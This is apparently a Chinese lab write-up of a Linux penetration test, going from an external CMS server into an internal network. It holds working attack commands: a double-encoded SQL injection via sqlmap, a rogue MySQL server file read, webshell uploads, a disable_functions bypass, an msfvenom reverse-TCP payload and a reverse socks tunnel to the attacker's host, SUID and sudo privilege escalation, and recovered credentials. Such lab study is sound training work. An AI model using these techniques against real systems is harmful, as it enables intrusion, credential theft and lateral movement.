文章目录
- 一、本章所用技术
- 二、网络示意图
- 三、信息收集
-
-
- 2.1 主机存活探测
- 2.2 端口扫描
- 2.3 目录扫描之gobuser 的高级用法
-
- 四、对目标进行渗透测试
-
-
- 4.1 搭建本地环境进行代码审计
-
-
- 4.1.1 搭建cms
- 4.1.2 灰盒代码审计
- 4.1.3 二次编码进行sql注入
- 4.1.4 MYSQL 服务器恶意读取客户端文件漏洞利用
- 4.1.5 替换密文登录后台
- 4.1.6 后台上传漏洞代码审计
- 4.1.7 模板编辑拿 webshell
-
- 4.2 后渗透之权限提升
-
-
- 4.2.1 metasploit 反弹 shell
- 4.2.2 解决shell乱码情况
- 4.2.3 三款工具收集提权信息
-
- 4.2.3.1 LinEnum.sh
- 4.2.3.2 linux-exploit-suggester.sh
- 4.2.3.3 linuxprivchecker.py
- 4.2.4 Suid提权
- 4.2.5 sudo提权
- 4.2.6 linux 宝塔控制面板提权
-
- 4.3 后渗透之内网横向移动
-
-
- 4.3.1 增加路由
- 4.3.2 设置代理
- 4.3.3 设置socks5代理
- 4.3.4 配置 proxychains3
- 4.3.5 配置浏览器代理穿透内网
- 4.3.6 中国菜刀和中国蚁剑穿透内网
- 4.3.7 wdcp主机系统提权
-
-
- 五、总结(Linux内网渗透)
-
-
- 5.1 外网服务器
- 5.2 内网服务器
-
一、本章所用技术
质量超高的linux外网到内网渗透测试实例从信息收集->代码审计->漏洞利用->服务器提权->隧道应用->目标权限。
使用工具技巧包括单不限于,
gobuster高级用法、高级代码审计 bypass_disablefunc 、解决交互shell乱码、linux多种提权、scock5穿透内网、隧道应用、浏览器代理。
二、网络示意图
文章图片
此次两个目标都是Linux机器。
三、信息收集 2.1 主机存活探测
用到两种工具。
sudo netdiscover -i eth0 -r 192.168.0.0/24
文章图片
或者使用nmap。
nmap -sn 192.168.0.0/24
文章图片
2.2 端口扫描
探测到我们的目标主机192.168.0.122,我们就可以进行端口扫描。
可以先用masscan 探测哪些端口开放,再用nmap 扫描开放端口具体信息。
masscan -p 1-65535 192.168.0.122 --rate=1000
文章图片
nmap -sC -p 8888,3306,888,21,80 -A 192.168.0.122 -oA log01
-oA 是将结束输出到log01文件中(会产生多个文件)
文章图片
2.3 目录扫描之gobuser 的高级用法
扫描网站的时候,发现很多目录都存活且返回长度一致。这就让我们很难分辨到底哪些目录真实存在,哪些不存在。此时,我们可以使用gobuser 的高级用法。--wildcard参数显示返回长度,grep去过滤指定长度。
gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard -l | grep -v 10430 | grep -v "Size:
然后再次进行扫描,貌似没有过滤全,应该把10027也过滤了。
文章图片
四、对目标进行渗透测试 4.1 搭建本地环境进行代码审计
4.1.1 搭建cms
访问www.ddd4.com发现是一个cms。
文章图片
这个时候,我们就可以去网上找找能不能下载此cms的源代码。发现这个cms貌似好久没有维护了。直接下载源码本机搭建安装。
文章图片
本地安装成功,
文章图片
我们可以去试试目标网站存不存在此目录。没问题,存在。
文章图片
4.1.2 灰盒代码审计
我们先去看看index页面的一些加载路径。
文章图片
发现这些配置页面存在一些数据库,连接信息。假设一会发现任意文件读取的话,就可以读取到连接账户信息,进而连接目标数据库。
文章图片
这里的参数可以控制的话,也是可以造成命令执行的。
文章图片
继续找找别的,比如搜索页面。因为一般搜索界面在前台就可以使用。
文章图片
看看内容
文章图片
定位一下此函数,发现假如被此函数过滤的传参,sql注入多半要废。
文章图片
但是,接下来的一条语句貌似就让人找到突破口,
文章图片
这是对传参进行url解码,这样的话,我们不就可以将恶意参数编码后绕过上面函数检查。而且下边,没有别的防护,直接将解码的函数拼接执行了。
文章图片
4.1.3 二次编码进行sql注入
测试搜素功能,正常。
文章图片
加个单引号试试,
文章图片
进行编码试试,貌似失败了?
文章图片
这里注意的是,要进行两次编码绕过。因为一次编码,会被浏览器解析。直接爆出数据库语句。http://127.0.0.1/search?keyword=11%2527
文章图片
测试完毕本机,试试目标站点。没什么毛病,这里可以直接掏出来sqlmap干了。
文章图片
sqlmap -u "http://www.ddd4.com/search?keyword=11"-v 1 --tamper chardoubleencode.py -p keyword --batch
文章图片
看看管理员的账户密码。9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c
文章图片
看看能不能直接sql注入拿权限,
文章图片
就目前而言危害很有限,去看看能不能破解一下密码,然后登录后台。找到加密函数,
文章图片
看到调用了3个加密算法,加上字符串截取。这就有点难办,估计硬解密是不行了。
文章图片
4.1.4 MYSQL 服务器恶意读取客户端文件漏洞利用
继续查看别的代码,发现一处可以连接外部数据库的代码。我们可以利用mysql的小bug,让服务器来连接我们的恶意MySQL,从而达到任意读取的效果,工具可以从这里下载:https://github.com/allyshka/Rogue-MySql-Server
文章图片
我们开启监听,准备读取/etc/passwd文件
文章图片
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.105&action=chkdb 这里的账户与密码都是可以随便写的。
文章图片
我们打开日志,读取成功。而且上述网站报错也显示出了网站绝对路径。
文章图片
这样我们就可以读取到服务器的数据库连接信息了。删除日志,改下脚本,重新启动脚本,刷新链接。
文章图片
获取到,链接地址,用户信息,登录密码。Localhost www_ddd4_com x4ix6ZrM7b8nFYHn
文章图片
4.1.5 替换密文登录后台
此时我们尝试用获取到的信息登录数据库。
文章图片
这个时候我们在用cms的加密算法生成一个我们的密码,稍微修改一下代码。
文章图片
访问一下此页面,
文章图片
这是原密码:
9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c这是我们生成的密码:
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0我们替换登陆后,记得给人家换回去。
文章图片
然后用admin,admin登录。
文章图片
4.1.6 后台上传漏洞代码审计
登陆后台寻找一下上传点,
文章图片
先抓包看看,调用的哪一个模块,
文章图片
文章图片
看看源代码发现一个漏洞,这里我们上传一个非sql文件,他仅仅会提示错误,但是没有exit,代码依旧会上传成功。而文件会被放置到/temp/data/目录下,且没有重命名之类的防护。
文章图片
我们放包,弹出错误信息。
文章图片
直接去访问我们上传的文件,直接弹出。
文章图片
这里一个存储型xss已经到手,测试上传php文件。
文章图片
直接禁止访问,
文章图片
上传这种黑名单绕过后缀也是不解析的。
文章图片
最终在这个配置文件中发现猫腻,概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
文章图片
4.1.7 模板编辑拿 webshell
上述行不通,我们就看看别的地方。发现这个地方可以直接编辑,
文章图片
编辑一个phpinfo,ctrl+s保存一下。
文章图片
访问,没问题。
文章图片
编辑一句话,进行连接。
文章图片
蚁剑貌似不行,
文章图片
经过测试冰蝎也不行,最后还是用的完整版菜刀。
文章图片
但是发现命令却无法执行,
文章图片
估计这又是BT把一些php函数给禁用了。
文章图片
遇到BT不要慌,上脚本。将文件上传到网站根目录,
文章图片
测试命令执行,执行有一些慢,我们等待一会。www.ddd4.com/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
文章图片
发现会话无法反弹,尝试了几个语句都无法成功。
文章图片
4.2 后渗透之权限提升
4.2.1 metasploit 反弹 shell
无法反弹会话,那就直接上msf的木马把。msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=13777 -f elf >ddd4将生成的木马上传,但是发现权限不是777,
文章图片
修改权限,
文章图片
我们msf先进行监听,
文章图片
执行程序,注意,要在木马前边 加一个 “./”不然无法反弹。
文章图片
测试执行命令,
【内网安全|内网渗透思路07之对Linux内网环境进行渗透】
文章图片
4.2.2 解决shell乱码情况
到此貌似已经不错了,但是此时有一个小问题。就是按键盘上下左右会乱码,而且命令不会自动补全,用着不是太得劲,这里我们就解决一下。先开启一个监听,
文章图片
在msf会话之中将会话反弹一下,
文章图片
此时已经接到反弹会话,在执行py交互 shell的命令:python -c 'import pty;
pty.spawn("/bin/bash")'
文章图片
此时按 ctrl + z 将当前会话放置到后台,执行“ stty raw -echo ”,再执行“ fg ”命令,将会话切换回来。注意,此时按fg是看不到的。
文章图片
有一点是,此时在按“ ctrl+z ”就不会将会话放置到后台了。当前,只能通过执行“ exit ”命令来退出会话。
4.2.3 三款工具收集提权信息
此时已经有一个不错的shell执行了,但是目前权限还不是最高。我们要将网站权限提上去,在提权之前,我们首先要进行的就是收集信息,来方便权限提升。
4.2.3.1 LinEnum.sh
首先要将脚本上传到目标服务器,此时我们可以通过菜刀上传。不过此时在介绍一个新的方法,通过python共享文件。然后让服务器来下载我们共享的文件。python3开指定端口(端口任意):
python3 -m http.server 8001python2开启指定端口(端口任意):
python -m SimpleHTTPServer 8080
文章图片
先看看 有没有共享成功。
文章图片
用目标服务器来访问下载共享的文件。Cd到tmp目录的原因是 ,一般来说这个目录都是存在读写权限的。
文章图片
用此命令将收集的信息写到a1.txt中“ sh LinEnum.sh > a1.txt ”注意的是,因为收集信息比较多,可能需要等待几分钟。
文章图片
此时,可以用cat命令直接打开或者使用菜刀将文件下载下来。
文章图片
,
文章图片
Ok,不多说。第二款工具 。
4.2.3.2 linux-exploit-suggester.sh
文章图片
直接找到两个提权exp。
文章图片
而且给出了利用c代码,直接下载到服务器就可以编译运行提权。
4.2.3.3 linuxprivchecker.py
文章图片
4.2.4 Suid提权
正常情况下,我们可以使用这条命令进行查找suid权限文件:find / -type f -perm -u=s 2>/dev/null
文章图片
当然,我们上边通过脚本进行收集的信息之中也是含有的。
文章图片
我们发现其中的find文件(命令)有suid特权,我们就可以借助此命令来提权。首先创建一个test文件夹。
文章图片
之后,在使用语句“find test -exec whoami \;
“,即找到test的情况下,就执行后边的命令,但是因为suid特权,执行的是root命令。
文章图片
同时,第三个脚本也帮我们收集了一些可执行命令的语句:
文章图片
我们可以执行,perl -e 'exec "whoami";
'awk 'BEGIN {system("whoami")}'
文章图片
4.2.5 sudo提权
最简单的是,我们在上边信息收集的过程收集到一个密码,我们可以去试试。
文章图片
yanisy123,密码不对不是root用户的。
文章图片
我们可以看看当前机器的名字,hostname,
文章图片
我们在看看/etc/passwd有没有叫host123的用户。
文章图片
我们试试是不是host123用户的密码。经过测试密码是host123用户的密码。
文章图片
此时,我们就可以试试当前用户是否可以执行sudo,发现可以。
文章图片
我们就可以直接切换到root账户。
文章图片
4.2.6 linux 宝塔控制面板提权
我们在连接的菜刀上边看看,有没有一些敏感文件。看看home文件夹。发现乱码,我们出去设置一下编码。
文章图片
设置为utf-8,
文章图片
设置完毕发现还是乱码,那是没有刷新,更新缓存。
文章图片
发现一个特别的文件,
文章图片
结合我们最初的端口探测,这有可能就是宝塔的地址及其账户密码。
文章图片
登录成功,
文章图片
尝试编辑一下root账户的文件,
文章图片
可以编辑,看来宝塔应该是root权限了,
文章图片
找到计划任务执行反弹shell命令,先在kali开启监听。
文章图片
添加任务,
文章图片
我们可以点击执行,让她立刻反弹。
文章图片
接到root账户反弹shell,
文章图片
此时就可以将计划任务删除了,
文章图片
4.3 后渗透之内网横向移动
4.3.1 增加路由
上边我们通过提权已经拿到root权限,但是msf上还是www。所以我们要在接受一个root权限的反弹会话。
文章图片
执行反弹,
文章图片
Msf接到反弹会话,
文章图片
此时我们可以先看看/etc/hosts文件,
文章图片
算是一个敏感信息把,查看路由。run get_local_subnets。增加并cha看路由。run autoroute -s 10.10.10.0/24。run autoroute -p 。
文章图片
4.3.2 设置代理
文章图片
执行命令vim /etc/proxychains.conf。
文章图片
使用nmap代理扫描。proxychains nmap -sT -Pn 10.10.10.144
文章图片
我们也修改一下hosts文件,vim /etc/hosts
文章图片
访问成功,proxychains firefox www.ddd5.com
文章图片
4.3.3 设置socks5代理
虽然已经可以访问到内网其他机器,但是socks4代理不是太稳定。
文章图片
但是msf就自带了socks4,所以我们要手动下载socks5。下载地址 https://nchc.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz老样子,本机用py开放一个端口,“ python3 -m http.server 8001 “用反弹会话去下载。
文章图片
下载到目标机器上,
文章图片
同时,复制到kali一份,用此命令解压“tar -zxvf ssocks-0.0.14.tar.gz“然后,“cd ssocks-0.0.14“,使用此命令进行编译,” ./configure && make “。
文章图片
然后在kali执行“ ./rcsocks -l 2233 -p 1080 -vv “,vv是显示代理细节。本地流量给本机2233端口,一会让目标机器连接本机1080端口,这样本地2233端口与本地1080端口就可以进行数据交互。
文章图片
同样,在目标机器解压,编译,“tar -zxvf ssocks-0.0.14.tar.gz “” cd ssocks-0.0.14 “” ./configure && make “切换路径“ cd src “并执行“ ./rssocks -vv -s 192.168.0.105:1080 “反向连接kali机器。
文章图片
4.3.4 配置 proxychains3
使用命令“ vim /etc/proxychains.conf“,修改配置文件如下。
文章图片
这样访问网站就会比用socks4稳定很多,
文章图片
同样,我们此时也可以代理nmap进行端口扫描,而且速度会快一点。“ proxychains3 nmap -sT -Pn 10.10.10.144 “
文章图片
回到网站登录的地方,一个弱口令直接进后台。
文章图片
4.3.5 配置浏览器代理穿透内网
当然,除了上述代理。我们也可以利用浏览器插件直接代理socks5。
文章图片
现在,我们重启浏览器。访问www.ddd5.com是无法打开的。
文章图片
开启代理,再次刷新访问,直接秒进。
文章图片
后台也是秒进。
文章图片
另外,在本机也是可以通过类似的设置直接访问到目标内网机器的ddd5网站。
文章图片
然后将一些木马和emlog模板文件一起打包成压缩包,准备上传拿shell,
文章图片
进入后台,
文章图片
上传打包的压缩包,
文章图片
上传成功,
文章图片
直接访问我们上传的phpinfo页面,http://www.ddd5.com/content/templates/test/a.php
文章图片
小马也没有问题。
文章图片
大马也没问题。
文章图片
4.3.6 中国菜刀和中国蚁剑穿透内网
此时我们直接用蚁剑是无法连接的。
文章图片
设置代理,
文章图片
测试访问情况,
文章图片
没有问题,
文章图片
保存后需要重启,
文章图片
成功访问,
文章图片
这是蚁剑,自带代理配置。但是假如是菜刀就得配合别的软件使用。
文章图片
完成代理连接。
文章图片
这个代理有两个小地方需要注意,
第一测试代理的时候,会显示失败。
文章图片
这是因为测试选项是测试访问baidu,
文章图片
而目标内网是不出网的,所以显示代理失败。但是菜刀可以直接连接成功。第二个是,在测试的时候,开启“ SocksCap64 “代理软件的时候,要关闭一些别的代理软件,如ssr等,不然会代理失败,菜刀无法正常连接。
4.3.7 wdcp主机系统提权
此时,我们得到的shell权限是www,并不是root。我们先看看扫描出的别的端口。8080端口是一个wdcp,这个东西在旧版本安装都是有默认账户密码的。账号 admin 密码 wdlinux.cn
文章图片
登录尝试失败,
文章图片
注意的是,这个东西安装不仅有后台登录默认账户。且存在phpmyadmin也是存在默认账户root, wdlinux.cn。使用默认账户登录成功。
文章图片
找到wdcp的加密密码。17d03da6474ce8beb13b01e79f789e63
文章图片
使用cmd5解密后的,尝试登录。
文章图片
这里是靶机时间不对,我们去手动设置一下。修改之后,直接登录进来。
文章图片
执行命令,是root用户。
文章图片
但是存在安全设置,不能反弹shell。
文章图片
继续找一下别的点,下载ssh登录密钥。记得先生成,
文章图片
先修改一下密钥权限” chmod 600 sshkey_wdcp “,然后直接连接“ proxychains ssh root@10.10.10.144 -i sshkey_wdcp ”。
文章图片
到此,两个机器全部拿下。
五、总结(Linux内网渗透) 5.1 外网服务器
通过信息收集发现目标是某CMS,本地搭建灰盒审计。发现配置信息页面,且可以连接外部数据库。通过mysql服务器恶意读取客户端任意文件漏洞,读取到目标的配置文件信息。连接目标数据库。将后台管理的密码修改。登录后台,发现可以模板编辑处可以直接修改代码。拿到shell,大部分函数被宝塔禁用,通过bypass脚本顺利执行命令(但是反弹会话一直失败)。上传msf木马,增加执行权限配合执行命令的脚本上线msf。通过msf执行反弹shell命令,成功接到会话,顺手解决乱码情况。上传信息收集脚本进行信息收集,通过find命令配合suid提权到root。这里提权,通过信息收集到可以sudo的用户的密码。还有宝塔的账户密码也可以进行提权。
5.2 内网服务器
在msf增加路由,开启代理。发现socks4a不太稳定,且msf自带socks5有bug。手动上传并配置socks 5代理,peoxychain3代理火狐发现内网目标存在后台弱口令。模板处上传木马,代理蚁剑连接,但是权限较低。扫描一下其他端口,发现wdcp系统,后台管理处默认密码登录失败,但是phpmyadmin没有修改默认密码,数据库找到后台登录密码,md5解密后登录后台,可以执行命令,但是存在安全策略不能反弹shell,发现可以生成ssh密钥,即生成下载到本机。代理SSH成功连接。
推荐阅读
- 网络|内网渗透基础总结
- 使用Java和Spring Security的JWT实现REST安全性
- NodeOS(基于JavaScript的操作系统)
- Linux新增swap分区
- JavaEE|文件操作和IO
- hadoop|VMware密匙安装教程
- 设计安全-UX安全性概述
- K8S 安全与RBAC
- Linux常用命令